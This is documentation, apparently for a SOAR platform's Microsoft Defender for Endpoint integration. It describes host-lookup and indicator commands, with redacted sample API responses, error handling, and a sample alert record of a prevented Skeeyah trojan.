INVESTIGATIONSTATE

SuccessfullyRemediated

DETECTIONSOURCE

WindowsDefenderAv

DETECTORID

***

CATEGORY

Malware

THREATFAMILYNAME

Skeeyah

TITLE

Skeeyah' malware was prevented

DESCRIPTION

Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks.
This detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection.

ALERTCREATIONTIME

6/3/2021 1:18:07 AM

FIRSTEVENTTIME

6/3/2021 12:10:50 AM

LASTEVENTTIME

6/3/2021 1:18:47 AM

LASTUPDATETIME

6/3/2021 7:03:34 AM

RESOLVEDTIME

6/3/2021 1:47:10 AM

MACHINEID

*****

COMPUTERDNSNAME

desktop-lvcemn2.d3cyberlab.local

RBACGROUPNAME

AADTENANTID

***

THREATNAME

Trojan:Win32/Skeeyah!MTB

MITRETECHNIQUES

[]

RELATEDUSER

COMMENTS

[]

EVIDENCE

[
{
"entityType": "File",
"evidenceCreationTime": "2021-06-03T01:34:25.3033333Z",
"sha1": "",
"sha256": "",
"fileName": ".zip",
"filePath": "C:\\Users\\\\",
"processId": ,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": ,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": ,
"url": ,
"registryKey": ,
"registryHive": ,
"registryValueType": null,
"registryValue": null,
"accountName": "",
"domainName": "",
"userSid": "",
"aadUserId": null,
"userPrincipalName": "@.",
"detectionStatus": "Prevented"
},
{
"entityType": "File",
"evidenceCreationTime": "2021-06-03T01:31:35.3266667Z",
"sha1": "",
"sha256": ,
"fileName": ".exe",
"filePath": "C:\\Users\\\\\\\\\\.\\",
"processId": ,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": null,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": ,
"url": ,
"registryKey": ,
"registryHive": ,
"registryValueType": null,
"registryValue": null,
"accountName": "",
"domainName": "",
"userSid": "",
"aadUserId": null,
"userPrincipalName": "@.",
"detectionStatus": "Detected"
},
{
"entityType": "File",
"evidenceCreationTime": "2021-06-03T01:18:08.05Z",
"sha1": "*********",
"sha256": ,
"fileName": ".exe",
"filePath": "C:\\Users\\\\\\\\\\.\\",
"processId": ,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": null,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": ,
"url": ,
"registryKey": ,
"registryHive": ,
"registryValueType": null,
"registryValue": null,
"accountName": "",
"domainName": "",
"userSid": "",
"aadUserId": null,
"userPrincipalName": "@.",
"detectionStatus": "Prevented"
}
]

FILEHASH

***

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get File Related Alerts failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.

Error Sample Data

Get File Related Alerts failed.

Status Code: 400.

Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.

Get Host By Hashes

Retrieves a collection of machines related to the specified file hashes.

READER NOTE

  • The parameter File Hashes is required to run this command.

    • You should already have your desired file hashes on hand to run this command. If you don’t, you may use the Fetch Related Events command with defined filters to retrieve the desired file hashes. The file hash values can be found in the raw data under the key “sha1”.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

    • Only the SHA-1 hash function is supported (no support for MD5 or SHA-256).

  • See Get file-related machines API from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

File Hashes

Required

The file hashes to search related hosts by. Note: Only SHA-1 file hashes are supported.

[

"*****"

]

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "value": [
            {
                "id": "0446b361064b567ce7f2d03f67be865ad23914ae",
                "computerDnsName": "***-***-***",
                "firstSeen": "2020-08-10T02:15:12.4976699Z",
                "lastSeen": "2020-08-19T00:19:45.8773286Z",
                "osPlatform": "WindowsServer2019",
                "osVersion": null,
                "osProcessor": "***",
                "version": "*****",
                "lastIpAddress": "***.***.***.***",
                "lastExternalIpAddress": "***.***.***.***",
                "agentVersion": "***.***.***.***",
                "osBuild": *****,
                "healthStatus": "Inactive",
                "deviceValue": "Normal",
                "rbacGroupId": ***,
                "rbacGroupName": null,
                "riskScore": "None",
                "exposureLevel": "Medium",
                "isAadJoined": false,
                "aadDeviceId": null,
                "machineTags": []
            }
        ]
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "value": [
            {
                "id": "*****",
                "computerDnsName": "***-***-***",
                "firstSeen": "2020-08-10T02:15:12.4976699Z",
                "lastSeen": "2020-08-19T00:19:45.8773286Z",
                "osPlatform": "WindowsServer2019",
                "osVersion": null,
                "osProcessor": "***",
                "version": "*****",
                "lastIpAddress": "***.***.***.***",
                "lastExternalIpAddress": "***.***.***.***",
                "agentVersion": "***.***.***.***",
                "osBuild": *****,
                "healthStatus": "Inactive",
                "deviceValue": "Normal",
                "rbacGroupId": ***,
                "rbacGroupName": null,
                "riskScore": "None",
                "exposureLevel": "Medium",
                "isAadJoined": false,
                "aadDeviceId": null,
                "machineTags": []
            }
        ]
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "value": [
            {
                "id": "*****",
                "computerDnsName": "***-***-***",
                "firstSeen": "2020-08-10T02:15:12.4976699Z",
                "lastSeen": "2020-08-19T00:19:45.8773286Z",
                "osPlatform": "WindowsServer2019",
                "osVersion": null,
                "osProcessor": "***",
                "version": "***",
                "lastIpAddress": "***.***.***.***",
                "lastExternalIpAddress": "***.***.***.***",
                "agentVersion": "***.***.***.***",
                "osBuild": *****,
                "healthStatus": "Inactive",
                "deviceValue": "Normal",
                "rbacGroupId": ***,
                "rbacGroupName": null,
                "riskScore": "None",
                "exposureLevel": "Medium",
                "isAadJoined": false,
                "aadDeviceId": null,
                "machineTags": []
            }
        ]
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "value": [
            {
                "id": "*****",
                "computerDnsName": "***-***-***",
                "firstSeen": "2020-08-10T02:15:12.4976699Z",
                "lastSeen": "2020-08-19T00:19:45.8773286Z",
                "osPlatform": "WindowsServer2019",
                "osVersion": null,
                "osProcessor": "***",
                "version": "*****",
                "lastIpAddress": "***.***.***.***",
                "lastExternalIpAddress": "***.***.***.***",
                "agentVersion": "***.***.***.***",
                "osBuild": *****,
                "healthStatus": "Inactive",
                "deviceValue": "Normal",
                "rbacGroupId": 0,
                "rbacGroupName": null,
                "riskScore": "None",
                "exposureLevel": "Medium",
                "isAadJoined": false,
                "aadDeviceId": null,
                "machineTags": []
            }
        ]
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "Hosts": [
        {
            "hash": "*****",
            "hosts": [
                {
                    "id": "*****",
                    "computerDnsName": "***-***-***",
                    "lastIpAddress": "***.***.***.***"
                }
            ]
        },
        {
            "hash": "*****",
            "hosts": [
                {
                    "id": "*****",
                    "computerDnsName": "***-***-***",
                    "lastIpAddress": "***.***.***.***"
                }
            ]
        }
    ]
}
Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

No sample data

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get Host By Hashes failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.

Error Sample Data

Get Host By Hashes failed.

Status Code: 400.

Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.

Get Host By IP

Finds Machines seen with the requested internal IP in the time range of 15 minutes prior and after a given timestamp.

READER NOTE

  • The parameter IP Addresses is required to run this command.

    • Run the List Hosts command to obtain IP Addresses. The IP Addresses value can be found in raw data at the path $.value[*].lastIpAddress. Please note that IP addresses will only return when the value of the “healthStatus” field is active inside the JSON object. If you input other IP addresses, the command will run successfully with no returning results.

  • Limitations for this command:

    • The given timestamp must be in the past 30 days.

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Find devices by internal IP API from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

IP Addresses

Required

The IP addresses to search related hosts by. IP addresses can be obtained using the List Hosts command.

["***.***.***.***"]

Timestamp

Required

The timestamp in UTC time to filter results. Machines seen with the input IP addresses after the defined timestamp will be returned. Note: The defined timestamp must be within 30 days before the current date.

2022-09-01 00:00

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "value": [
            {
                "id": "*****",
                "computerDnsName": "***-***-***",
                "firstSeen": "2020-11-30T08:06:22.7101753Z",
                "lastSeen": "2021-04-20T22:34:26.2089208Z",
                "osPlatform": "Windows10",
                "osVersion": null,
                "osProcessor": "***",
                "version": "***",
                "lastIpAddress": "***.***.***.**",
                "lastExternalIpAddress": "***.***.***.**",
                "agentVersion": "***.***.***.**",
                "osBuild": *****,
                "healthStatus": "Active",
                "deviceValue": "Normal",
                "rbacGroupId": *****,
                "rbacGroupName": null,
                "riskScore": "High",
                "exposureLevel": "Medium",
                "isAadJoined": false,
                "aadDeviceId": *****,
                "machineTags": [],
                "defenderAvStatus": "Updated",
                "onboardingStatus": "Onboarded",
                "ipAddresses": [
                    {
                        "ipAddress": "***.***.***.**",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    },
                    {
                        "ipAddress": "****::****:****:****:****",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    },
                    {
                        "ipAddress": "***.***.***.***",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    },
                    {
                        "ipAddress": "****::****:****:****:****",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    }
                ],
                "vmMetadata": null
            }
        ]
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "id": "*****",
        "computerDnsName": "***.***.***",
        "firstSeen": "2020-11-30T08:06:22.7101753Z",
        "lastSeen": "2021-04-20T22:34:26.2089208Z",
        "osPlatform": "Windows10",
        "osVersion": null,
        "osProcessor": "x64",
        "version": "1909",
       "lastIpAddress": "***.***.***.***",
        "lastExternalIpAddress": "***.***.***.***",
        "agentVersion": "***.***.***.***",
        "osBuild": *****,
        "healthStatus": "Active",
        "deviceValue": "Normal",
        "rbacGroupId": 0,
        "rbacGroupName": null,
        "riskScore": "High",
        "exposureLevel": "Medium",
        "isAadJoined": false,
        "aadDeviceId": null,
        "machineTags": [],
        "defenderAvStatus": "Updated",
        "onboardingStatus": "Onboarded",
        "ipAddresses": [
                    {
                        "ipAddress": "***.***.***.**",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    },
                    {
                        "ipAddress": "****:****:****:***::****",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    },
                    {
                        "ipAddress": "***.***.***.***",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    },
                    {
                        "ipAddress": "****:****:****:***::****",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    }
        ],
        "vmMetadata": null
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "IDs": [
        "*****"
    ],
    "ComputerDnsNames": [
        "***.***.***"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

***

COMPUTERDNSNAME

***.***.***

FIRSTSEEN

11/30/2020 8:06:22 AM

LASTSEEN

4/20/2021 10:34:26 PM

OSPLATFORM

Windows10

OSVERSION

OSPROCESSOR

***

VERSION

***

LASTIPADDRESS

***.***.***.***

LASTEXTERNALIPADDRESS

***.***.***.***

AGENTVERSION

***.***.***.***

OSBUILD

*****

HEALTHSTATUS

Active

DEVICEVALUE

Normal

RBACGROUPID

0

RBACGROUPNAME

RISKSCORE

High

EXPOSURELEVEL

Medium

ISAADJOINED

FALSE

AADDEVICEID

MACHINETAGS

[]

DEFENDERAVSTATUS

Updated

ONBOARDINGSTATUS

Onboarded

IPADDRESSES

[
{
"ipAddress": "...",
"macAddress": "",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": ":::::",
"macAddress": "",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": "...",
"macAddress": "",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": ":::::",
"macAddress": "*****************",
"type": "Ethernet",
"operationalStatus": "Up"
}
]

VMMETADATA

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get Host By IP failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: XXX is not valid IP.

Error Sample Data

Get Host By IP failed.

Status Code: 400.

Message: XXX is not valid IP.

Get Host By User

Retrieves Machines related to the specified user names.

READER NOTE

  • The parameter User Names is required to run this command.

    • Run the Get Machine Logon Users command to obtain User Names. User Names can be found in the returned raw data at the path $.value[*].accountName.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Get user-related machines API from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

User Names

Required

The user names to search related hosts by. User names can be obtained using the Get Machine Logon Users command.

["*****"]

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/$metadata#Machines",
        "value": [
            {
                "id": "*****",
                "computerDnsName": "***.***.***",
                "firstSeen": "2020-11-30T08:06:22.7101753Z",
                "lastSeen": "2021-04-23T10:04:31.9050704Z",
                "osPlatform": "Windows10",
                "osVersion": null,
                "osProcessor": "***",
                "version": "*****",
                "lastIpAddress": "***.***.***.***",
                "lastExternalIpAddress": "***.***.***.***",
                "agentVersion": "***.***.***.***",
                "osBuild": *****,
                "healthStatus": "Active",
                "deviceValue": "Normal",
                "rbacGroupId": ***,
                "rbacGroupName": null,
                "riskScore": "High",
                "exposureLevel": "Medium",
                "isAadJoined": false,
                "aadDeviceId": ***,
                "machineTags": [],
                "defenderAvStatus": "Updated",
                "onboardingStatus": "Onboarded",
                "ipAddresses": [
                    {
                        "ipAddress": "***.***.***.***",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    },
                    {
                        "ipAddress": "****:****:****:***::****",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    },
                    {
                        "ipAddress": "***.***.***.***",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    },
                    {
                        "ipAddress": "****:****:****:***::****",
                        "macAddress": "*****",
                        "type": "Ethernet",
                        "operationalStatus": "Up"
                    }
                ],
                "vmMetadata": null
            }
        ]
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "id": "*****",
        "computerDnsName": "***.***.***",
        "firstSeen": "2020-11-30T08:06:22.7101753Z",
        "lastSeen": "2021-04-23T10:04:31.9050704Z",
        "osPlatform": "Windows10",
        "osVersion": ***,
        "osProcessor": "***",
        "version": "1909",
        "lastIpAddress": "***.***.***.***",
        "lastExternalIpAddress": "***.***.***.***",
        "agentVersion": "***.***.***.***",
        "osBuild": *****,
        "healthStatus": "Active",
        "deviceValue": "Normal",
        "rbacGroupId": *****,
        "rbacGroupName": null,
        "riskScore": "High",
        "exposureLevel": "Medium",
        "isAadJoined": false,
        "aadDeviceId": *****,
        "machineTags": [],
        "defenderAvStatus": "Updated",
        "onboardingStatus": "Onboarded",
        "ipAddresses": [
            {
                "ipAddress": "***.***.***.***",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Up"
            },
            {
                "ipAddress": "****:****:****:***::****",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Up"
            },
            {
                "ipAddress": "***.***.***.***",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Up"
            },
            {
                "ipAddress": "****:****:****:***::****",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Up"
            }
        ],
        "vmMetadata": null
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "IDs": [
        "*****"
    ],
    "ComputerDnsNames": [
        "***.***.***"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

***

COMPUTERDNSNAME

***.***.***

FIRSTSEEN

11/30/2020 8:06:22 AM

LASTSEEN

4/23/2021 10:04:31 AM

OSPLATFORM

Windows10

OSVERSION

OSPROCESSOR

***

VERSION

***

LASTIPADDRESS

***.***.***.***

LASTEXTERNALIPADDRESS

***.***.***.***

AGENTVERSION

***.***.***.***

OSBUILD

**

HEALTHSTATUS

Active

DEVICEVALUE

Normal

RBACGROUPID

0

RBACGROUPNAME

RISKSCORE

High

EXPOSURELEVEL

Medium

ISAADJOINED

FALSE

AADDEVICEID

MACHINETAGS

[]

DEFENDERAVSTATUS

Updated

ONBOARDINGSTATUS

Onboarded

IPADDRESSES

[
{
"ipAddress": "...",
"macAddress": "",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": ":::::",
"macAddress": "",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": "...",
"macAddress": "",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": ":::::",
"macAddress": "*****************",
"type": "Ethernet",
"operationalStatus": "Up"
}
]

VMMETADATA

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get Host By User failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 404.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: No HTTP resource was found that matches the request URI.

Error Sample Data

Get Host By User failed.

Status Code: 404.

Message: No HTTP resource was found that matches the request URI.

Get Host Details

Retrieves Machines related to the specified device IDs or computer names.

READER NOTE

  • The parameter Hosts is required to run this command.

    • Run the List Hosts command to obtain Machine IDs. Machine IDs can be found in the returned raw data at the path $.value[*].id.

  • Limitations for this command:

    • You can get devices last seen according to your configured retention policy.

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Get machine by ID API | Microsoft Learn from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

Hosts

Required

The device IDs or computer names to retrieve corresponding details. Device IDs and computer names can be obtained using the List Hosts command.

["*****"]

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***
        "id": "*****",
        "computerDnsName": "***-***-***",
        "firstSeen": "2020-07-21T22:27:25.3613776Z",
        "lastSeen": "2020-07-31T06:57:40.9124263Z",
        "osPlatform": "WindowsServer2019",
        "osVersion": ***,
        "osProcessor": "***",
        "version": null,
        "lastIpAddress": "***.***.***.***",
        "lastExternalIpAddress": "***.***.***.***",
        "agentVersion": "***.***.***.***",
        "osBuild": *****,
        "healthStatus": "Active",
        "deviceValue": "Normal",
        "rbacGroupId": ***,
        "rbacGroupName": null,
        "riskScore": "High",
        "exposureLevel": "Medium",
        "aadDeviceId": null,
        "machineTags": []
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "computerDnsName": "***-***",
        "firstSeen": "2020-07-21T22:21:05.6479677Z",
        "lastSeen": "2020-07-21T22:21:16.0764447Z",
        "osPlatform": "WindowsServer2019",
        "osVersion": null,
        "osProcessor": "***",
        "version": null,
        "lastIpAddress": "***.***.***.***",
        "lastExternalIpAddress": "***.***.***.***",
        "agentVersion": "***.***.***.***",
        "osBuild": *****,
        "healthStatus": "Inactive",
        "deviceValue": "Normal",
        "rbacGroupId": ***,
        "rbacGroupName": null,
        "riskScore": "None",
        "exposureLevel": "Medium",
        "aadDeviceId": ***,
        "machineTags": []
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "computerDnsName": "***-***-***",
        "firstSeen": "2020-07-21T22:27:25.3613776Z",
        "lastSeen": "2020-07-31T06:57:40.9124263Z",
        "osPlatform": "WindowsServer2019",
        "osVersion": null,
        "osProcessor": "***",
        "version": null,
        "lastIpAddress": "***.***.***.***",
        "lastExternalIpAddress": "***.***.***.***",
        "agentVersion": "***.***.***.***",
        "osBuild": *****,
        "healthStatus": "Active",
        "deviceValue": "Normal",
        "rbacGroupId": ***,
        "rbacGroupName": null,
        "riskScore": "High",
        "exposureLevel": "Medium",
        "aadDeviceId": null,
        "machineTags": []
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "computerDnsName": "***-***",
        "firstSeen": "2020-07-21T22:21:05.6479677Z",
        "lastSeen": "2020-07-21T22:21:16.0764447Z",
        "osPlatform": "WindowsServer2019",
        "osVersion": null,
        "osProcessor": "***",
        "version": null,
        "lastIpAddress": "***.***.***.***",
        "lastExternalIpAddress": "***.***.***.***",
        "agentVersion": "***.***.***.***",
        "osBuild": *****,
        "healthStatus": "Inactive",
        "deviceValue": "Normal",
        "rbacGroupId": ***,
        "rbacGroupName": null,
        "riskScore": "None",
        "exposureLevel": "Medium",
        "aadDeviceId": null,
        "machineTags": []
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "Machine Ids": [
        "*****",
        "*****"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@ODATA.CONTEXT

https://api.***.com/api/***

https://api.***.com/***

ID

***

***

COMPUTERDNSNAME

***-***-***

***-***-***

FIRSTSEEN

7/21/2020 10:27:25 PM

7/21/2020 10:21:05 PM

LASTSEEN

7/31/2020 6:57:40 AM

7/21/2020 10:21:16 PM

OSPLATFORM

WindowsServer2019

WindowsServer2019

OSVERSION

OSPROCESSOR

***

***

VERSION

LASTIPADDRESS

***.***.***.***

***.***.***.**

LASTEXTERNALIPADDRESS

***.***.***.**

***.***.***.**

AGENTVERSION

***.***.***.**

***.***.***.**

OSBUILD

*****

*****

HEALTHSTATUS

Active

Inactive

DEVICEVALUE

Normal

Normal

RBACGROUPID

0

0

RBACGROUPNAME

RISKSCORE

High

None

EXPOSURELEVEL

Medium

Medium

AADDEVICEID

MACHINETAGS

[]

[]

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get Host Details failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 404.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Machine XXX was not found.

Error Sample Data

Get Host Details failed.

Status Code: 404.

Message: Machine XXX was not found.

Get Indicator By ID

Retrieves the specified indicators by Indicator IDs.

READER NOTE

  • The parameter Indicator IDs is required to run this command.

    • Run the List Indicator command to obtain Indicator IDs. The Indicator IDs can be found in the raw data at the path $.value[*].id.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See List Indicators API | Microsoft Learn from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

Indicator IDs

Required

The array of Indicator IDs to retrieve corresponding indicators. Indicator IDs can be obtained using the List Indicator command.

["*****"]

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "indicatorValue": "*****",
        "indicatorType": "FileSha1",
        "action": "AlertAndBlock",
        "createdBy": "*****",
        "severity": "Informational",
        "category": 1,
        "application": "demo-test",
        "educateUrl": null,
        "bypassDurationHours": null,
        "title": "test",
        "description": "test",
        "recommendedActions": "nothing",
        "creationTimeDateTimeUtc": "2021-04-15T17:45:47.9262976Z",
        "expirationTime": "2022-12-12T00:00:00Z",
